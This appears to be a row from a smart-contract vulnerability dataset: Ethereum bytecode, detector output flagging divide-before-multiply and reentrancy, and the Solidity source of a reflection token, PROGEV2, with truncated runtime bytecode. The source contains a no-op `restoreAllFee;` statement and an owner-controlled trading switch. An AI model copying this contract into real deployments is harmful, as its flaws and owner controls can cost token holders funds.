e733baa93604480820194929392918390030190829087803b1580156106ef57600080fd5b505af1158015610703573d6000803e3d6000fd5b505050506040513d604081101561071957600080fd5b5080516020909101519092509050610732828233611030565b505050505050565b60008080808080808080808061f00061ffff8d16111561075957600080fd5b61100061ffff8d16101561076c57600080fd5b6103e89a508a995061f0008c900361ffff8116995061200098506108009750888a0496508790611fff160494508685028887028a0303935085602c0a8b029a5085600a0a8b8115156107ba57fe5b049a5084156107e2578462dcfed20a8b029a5084600702600a0a8b8115156107de57fe5b049a505b8315610819576298968062dcfed28c020492508684620f42400281151561080557fe5b049150620f42408b84038302049a8b019a90505b652d79883d20008b029a5050505050505050505050919050565b60086020526000908152604090205461ffff1681565b6001547501000000000000000000000000000000000000000000900463ffffffff1681565b60008054600160a060020a0316331461088657600080fd5b506009805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031633146108cd57600080fd5b60015460a060020a900460ff1615156108e557600080fd5b600954600160a060020a031615156108fc57600080fd5b6109046111bf565b565b600054600160a060020a0316331461091d57600080fd5b600160a060020a038116151561093257600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b67ffffffffffffffff908116600090815260026020908152604080832060018101549054600584528285205460039094529190932054838516959194929092169268010000000000000000900461ffff1691600160a060020a031690565b60015460a060020a900460ff1681565b67ffffffffffffffff8116600090815260036020526040902054600160a060020a0316818115156109ff57600080fd5b50919050565b600054600160a060020a03163314610a1c57600080fd5b60015460a060020a900460ff1615610a3357600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b60065471010000000000000000000000000000000000900461ffff1681565b60008054819081908190600160a060020a03163314610abf57600080fd5b60015460a060020a900460ff1615610ad657600080fd5b600a54600160a060020a03161515610aed57600080fd5b600954600160a060020a03161515610b0457600080fd5b5060005b8460ff168160ff161015610c1a5760065460ff70010000000000000000000000000000000082041667ffffffffffffffff90911610610b4657610c12565b600654600954604080517f8a9d1fbf00000000000000000000000000000000000000000000000000000000815267ffffffffffffffff93841660010193841660048201528151939550600160a060020a0390921692638a9d1fbf9260248082019392918290030181600087803b158015610bbf57600080fd5b505af1158015610bd3573d6000803e3d6000fd5b505050506040513d6040811015610be957600080fd5b508051602090910151600a549195509350610c109085908590600160a060020a0316611030565b505b600101610b08565b5050505050565b60076020526000908152604090205461ffff1681565b600054600160a060020a031681565b600061f00061ffff83161115610c5b57600080fd5b61100061ffff83161015610c6e57600080fd5b61ffff821661f0001415610c8457506007610c93565b506110000161200061ffff8216045b919050565b600654700100000000000000000000000000000000900460ff1681565b600a54600160a060020a031681565b600061bb808261ffff16108015610d045750600654700100000000000000000000000000000000810460ff9081166064011667ffffffffffffffff909116105b15610d1157506000610c93565b5061ffff90811660009081526008602090815260408083205460079092529091205490821691161190565b60015460a060020a900460ff1615610d5357600080fd5b600160a060020a0382161515610d6857600080fd5b600160a060020a038216301415610d7e57600080fd5b610d883382611237565b1515610d9357600080fd5b610d9e338383611261565b5050565b600054600160a060020a03163314610db957600080fd5b60015463ffffffff79010000000000000000000000000000000000000000000000000090910481169082161115610def57600080fd5b6001805463ffffffff90921675010000000000000000000000000000000000000000000278ffffffff00000000000000000000000000000000000000000019909216919091179055565b60046020526000908152604090205481565b600154600160a060020a03163314610e6257600080fd5b600154604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610d9e573d6000803e3d6000fd5b6000805b600360ff821611610f455760065460ff700100000000000000000000000000000000909104811690600b90831660048110610ed757fe5b601081049091015460065461ffff6002600f909416939093026101000a9091048216929092011667ffffffffffffffff9091161015610f3d57600c60ff821660048110610f2057fe5b602081049091015460ff601f9092166101000a9004169150610f4a565b600101610ea0565b600a91505b5090565b600054600160a060020a03163314610f6557600080fd5b61ffff9182166000908152600760205260409020805461ffff191691909216179055565b600954600160a060020a031681565b600054600160a060020a03163314610faf57600080fd5b600160a060020a03811615610fe7576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600054600160a060020a0316331461100157600080fd5b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600061103a611330565b506040805160608101825285815267ffffffffffffffff428116602080840191825261ffff8089168587019081526006805460016801000000000000000080830489168201891681026fffffffffffffffff000000000000000019909316929092178089168201891667ffffffffffffffff199182161793849055928290048816600081815260029097529986208951815596519601805493519094160269ffff0000000000000000199590961691161792909216929092179055909190611103908583611261565b60015467ffffffffffffffff828116600081815260056020908152604091829020805442600263ffffffff75010000000000000000000000000000000000000000009099048916049097169690960190941667ffffffffffffffff19909516949094179092558151600160a060020a03881681529283015261ffff87168282015260608201889052517f594c7a1753e9997a119d5384bcf2c79eb041566feac9c4ec9a88b521c17958c79181900360800190a195945050505050565b600054600160a060020a031633146111d657600080fd5b60015460a060020a900460ff1615156111ee57600080fd5b6001805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b67ffffffffffffffff16600090815260036020526040902054600160a060020a0391821691161490565b600160a060020a0380831660008181526004602090815260408083208054600101905567ffffffffffffffff8616835260039091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905581908416156112e057600160a060020a038416600090815260046020526040902080546000190190555b60408051600160a060020a0380871682528516602082015280820184905290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360600190a150505050565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a7230582099cf237d0edfff5f9225c148fc48d0e276fcfc0e3225487b6a0f7bb0c2663dd20029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,981 |
0x51c02bb6cd7819c15cbf75dc399e6f8e5ea8273c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-13
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract PROGEV2 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ERC20";
string private constant _symbol = "erc20";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _progeBurned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address payable private _presa;
address payable private _rogeTreasury;
address public ROGE = 0x45734927Fa2f616FbE19E65f42A0ef3d37d1c80A;
address public animalSanctuary = 0x4A462404ca4b7caE9F639732EB4DaB75d6E88d19;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
bool private feeEnabled = false;
bool private limitTX = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 2;
uint256 private _contractFee = 9;
uint256 private _progeBurn = 1;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address addr3) {
_presa = addr1;
_rogeTreasury = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_presa] = true;
_isExcludedFromFee[addr3] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeEnabled( bool enable) public onlyOwner {
feeEnabled = enable;
}
function setLimitTx( bool enable) public onlyOwner {
limitTX = enable;
}
function enableTrading( bool enable) public onlyOwner {
require(liquidityAdded);
tradeAllowed = enable;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
feeEnabled = true;
limitTX = true;
_maxTxAmount = 1000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwapTokensForEth() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualDistributeETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
distributeETH(contractETHBalance);
}
function manualRoge(uint amount) external onlyOwner() {
swapETHforRoge(amount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradeAllowed);
if (limitTX) {
require(amount <= _maxTxAmount);
}
_contractFee = 9;
_reflection = 2;
_progeBurn = 1;
uint contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapETHforRoge(address(this).balance);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(tradeAllowed);
if (limitTX) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
}
uint initialETHBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newETHBalance = address(this).balance;
uint ethToDistribute = newETHBalance.sub(initialETHBalance);
if (ethToDistribute > 0) {
distributeETH(ethToDistribute);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || !feeEnabled) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _contractFee == 0 && _progeBurn == 0) return;
_reflection = 0;
_contractFee = 0;
_progeBurn = 0;
}
function restoreAllFee() private {
_reflection = 2;
_contractFee = 9;
_progeBurn = 1;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 tAmount, uint256 tBurn) = _progeEthBurn(amount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _progeEthBurn(uint amount) private returns (uint, uint) {
uint orgAmount = amount;
uint256 currentRate = _getRate();
uint256 tBurn = amount.mul(_progeBurn).div(100);
uint256 rBurn = tBurn.mul(currentRate);
_tTotal = _tTotal.sub(tBurn);
_rTotal = _rTotal.sub(rBurn);
_progeBurned = _progeBurned.add(tBurn);
return (orgAmount, tBurn);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 tBurn) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _reflection, _contractFee, tBurn);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee, uint256 tBurn) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHforRoge(uint ethAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(ROGE);
_approve(address(this), address(uniswapV2Router), ethAmount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(animalSanctuary),block.timestamp);
}
function distributeETH(uint256 amount) private {
_presa.transfer(amount.div(9));
_rogeTreasury.transfer(amount.div(3));
}
receive() external payable {}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a2b174121161008a578063dd62ed3e11610064578063dd62ed3e146104d5578063e8078d9414610510578063f275f64b14610525578063f89ff9021461055157610171565b8063a2b174121461045d578063a9059cbb14610472578063d543dbeb146104ab57610171565b806370a08231146103aa578063715018a6146103dd5780637a32bae4146103f25780637b934dcd146104075780638da5cb5b1461043357806395d89b411461044857610171565b8063313ce56711610123578063313ce5671461031657806332976a251461034157806349abb68e1461035657806349bd5a5e1461036b5780636a66e9e3146103805780636ddd17131461039557610171565b806306fdde0314610176578063095ea7b3146102005780630db474fa1461024d57806310336de01461027b57806318160ddd146102ac57806323b872dd146102d357610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b61057b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c55781810151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020c57600080fd5b506102396004803603604081101561022357600080fd5b506001600160a01b03813516906020013561059a565b604080519115158252519081900360200190f35b34801561025957600080fd5b506102796004803603602081101561027057600080fd5b503515156105b8565b005b34801561028757600080fd5b5061029061062e565b604080516001600160a01b039092168252519081900360200190f35b3480156102b857600080fd5b506102c161063d565b60408051918252519081900360200190f35b3480156102df57600080fd5b50610239600480360360608110156102f657600080fd5b506001600160a01b03813581169160208101359091169060400135610643565b34801561032257600080fd5b5061032b6106ca565b6040805160ff9092168252519081900360200190f35b34801561034d57600080fd5b506102c16106cf565b34801561036257600080fd5b506102906106d5565b34801561037757600080fd5b506102906106e4565b34801561038c57600080fd5b506102796106f3565b3480156103a157600080fd5b50610239610758565b3480156103b657600080fd5b506102c1600480360360208110156103cd57600080fd5b50356001600160a01b0316610768565b3480156103e957600080fd5b5061027961078a565b3480156103fe57600080fd5b5061023961082c565b34801561041357600080fd5b506102796004803603602081101561042a57600080fd5b5035151561083c565b34801561043f57600080fd5b506102906108b2565b34801561045457600080fd5b5061018b6108c1565b34801561046957600080fd5b506102796108e0565b34801561047e57600080fd5b506102396004803603604081101561049557600080fd5b506001600160a01b03813516906020013561094e565b3480156104b757600080fd5b50610279600480360360208110156104ce57600080fd5b5035610962565b3480156104e157600080fd5b506102c1600480360360408110156104f857600080fd5b506001600160a01b0381358116916020013516610a69565b34801561051c57600080fd5b50610279610a94565b34801561053157600080fd5b506102796004803603602081101561054857600080fd5b50351515610e34565b34801561055d57600080fd5b506102796004803603602081101561057457600080fd5b5035610ec0565b604080518082019091526005815264045524332360dc1b602082015290565b60006105ae6105a7610f21565b8484610f25565b5060015b92915050565b6105c0610f21565b6000546001600160a01b03908116911614610610576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b600f8054911515600160c01b0260ff60c01b19909216919091179055565b600c546001600160a01b031681565b60045490565b6000610650848484611011565b6106c08461065c610f21565b6106bb85604051806060016040528060288152602001611e6d602891396001600160a01b038a1660009081526008602052604081209061069a610f21565b6001600160a01b031681526020810191909152604001600020549190611373565b610f25565b5060019392505050565b600990565b60075481565b600d546001600160a01b031681565b600f546001600160a01b031681565b6106fb610f21565b6000546001600160a01b0390811691161461074b576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b476107558161140a565b50565b600f54600160b81b900460ff1681565b6001600160a01b0381166000908152600260205260408120546105b290611493565b610792610f21565b6000546001600160a01b039081169116146107e2576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f54600160a01b900460ff1681565b610844610f21565b6000546001600160a01b03908116911614610894576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b600f8054911515600160c81b0260ff60c81b19909216919091179055565b6000546001600160a01b031690565b604080518082019091526005815264065726332360dc1b602082015290565b6108e8610f21565b6000546001600160a01b03908116911614610938576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b600061094330610768565b9050610755816114f3565b60006105ae61095b610f21565b8484611011565b61096a610f21565b6000546001600160a01b039081169116146109ba576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b60008111610a0f576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610a2f6064610a29836004546116c290919063ffffffff16565b9061171b565b601081905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610a9c610f21565b6000546001600160a01b03908116911614610aec576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117918290556004549091610b309130916001600160a01b031690610f25565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610be357600080fd5b505afa158015610bf7573d6000803e3d6000fd5b505050506040513d6020811015610c0d57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505050506040513d6020811015610c8957600080fd5b5051600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610cbb81610768565b600080610cc66108b2565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d3157600080fd5b505af1158015610d45573d6000803e3d6000fd5b50505050506040513d6060811015610d5c57600080fd5b5050600f805460ff60c81b1960ff60c01b1960ff60a81b1960ff60b81b19909316600160b81b1792909216600160a81b1791909116600160c01b1716600160c81b1790819055670de0b6b3a7640000601055600e546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d6020811015610e2f57600080fd5b505050565b610e3c610f21565b6000546001600160a01b03908116911614610e8c576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b600f54600160a81b900460ff16610ea257600080fd5b600f8054911515600160a01b0260ff60a01b19909216919091179055565b610ec8610f21565b6000546001600160a01b03908116911614610f18576040805162461bcd60e51b81526020600482018190526024820152600080516020611e95833981519152604482015290519081900360640190fd5b6107558161175d565b3390565b6001600160a01b038316610f6a5760405162461bcd60e51b8152600401808060200182810382526024815260200180611f036024913960400191505060405180910390fd5b6001600160a01b038216610faf5760405162461bcd60e51b8152600401808060200182810382526022815260200180611e2a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166110565760405162461bcd60e51b8152600401808060200182810382526025815260200180611ede6025913960400191505060405180910390fd5b6001600160a01b03821661109b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ddd6023913960400191505060405180910390fd5b600081116110da5760405162461bcd60e51b8152600401808060200182810382526029815260200180611eb56029913960400191505060405180910390fd5b6110e26108b2565b6001600160a01b0316836001600160a01b03161415801561111c57506111066108b2565b6001600160a01b0316826001600160a01b031614155b801561114157506001600160a01b03831660009081526009602052604090205460ff16155b801561116657506001600160a01b03821660009081526009602052604090205460ff16155b1561130157600f546001600160a01b0384811691161480156111965750600e546001600160a01b03838116911614155b80156111bb57506001600160a01b03821660009081526009602052604090205460ff16155b1561121857600f54600160a01b900460ff166111d657600080fd5b600f54600160c81b900460ff16156111f7576010548111156111f757600080fd5b600960125560026011556001601355478015611216576112164761175d565b505b600061122330610768565b600f54909150600160b01b900460ff1615801561124e5750600f546001600160a01b03858116911614155b80156112635750600f54600160b81b900460ff165b156112ff57600f54600160a01b900460ff1661127e57600080fd5b600f54600160c81b900460ff16156112d357600f546112b990606490610a29906003906112b3906001600160a01b0316610768565b906116c2565b82111580156112ca57506010548211155b6112d357600080fd5b476112dd826114f3565b4760006112ea8284611916565b905080156112fb576112fb8161140a565b5050505b505b6001600160a01b03831660009081526009602052604090205460019060ff168061134357506001600160a01b03831660009081526009602052604090205460ff165b806113585750600f54600160c01b900460ff16155b15611361575060005b61136d84848484611958565b50505050565b600081848411156114025760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113c75781810151838201526020016113af565b50505050905090810190601f1680156113f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc61142483600961171b565b6040518115909202916000818181858888f1935050505015801561144c573d6000803e3d6000fd5b50600b546001600160a01b03166108fc61146783600361171b565b6040518115909202916000818181858888f1935050505015801561148f573d6000803e3d6000fd5b5050565b60006005548211156114d65760405162461bcd60e51b815260040180806020018281038252602a815260200180611e00602a913960400191505060405180910390fd5b60006114e0611989565b90506114ec838261171b565b9392505050565b600f805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061153557fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561158957600080fd5b505afa15801561159d573d6000803e3d6000fd5b505050506040513d60208110156115b357600080fd5b50518151829060019081106115c457fe5b6001600160a01b039283166020918202929092010152600e546115ea9130911684610f25565b600e5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611670578181015183820152602001611658565b505050509050019650505050505050600060405180830381600087803b15801561169957600080fd5b505af11580156116ad573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b6000826116d1575060006105b2565b828202828482816116de57fe5b04146114ec5760405162461bcd60e51b8152600401808060200182810382526021815260200180611e4c6021913960400191505060405180910390fd5b60006114ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ac565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b1580156117c257600080fd5b505afa1580156117d6573d6000803e3d6000fd5b505050506040513d60208110156117ec57600080fd5b5051815182906000906117fb57fe5b6001600160a01b039283166020918202929092010152600c5482519116908290600190811061182657fe5b6001600160a01b039283166020918202929092010152600e5461184c9130911684610f25565b600e54600d5460405163b6f9de9560e01b8152600481018581526001600160a01b03928316604483018190524260648401819052608060248501908152875160848601528751959096169563b6f9de9595899586958a9594939092909160a401906020808801910280838360005b838110156118d25781810151838201526020016118ba565b50505050905001955050505050506000604051808303818588803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b50505050505050565b60006114ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611373565b8061196557611965611a11565b611970848484611a49565b8061136d5761136d600260115560096012556001601355565b6000806000611996611b63565b90925090506119a5828261171b565b9250505090565b600081836119fb5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156113c75781810151838201526020016113af565b506000838581611a0757fe5b0495945050505050565b601154158015611a215750601254155b8015611a2d5750601354155b15611a3757611a47565b6000601181905560128190556013555b565b600080611a5583611b9a565b91509150600080600080600080611a6c8888611c13565b955095509550955095509550611ab086600260008e6001600160a01b03166001600160a01b031681526020019081526020016000205461191690919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c1681522054611adf9086611c72565b6001600160a0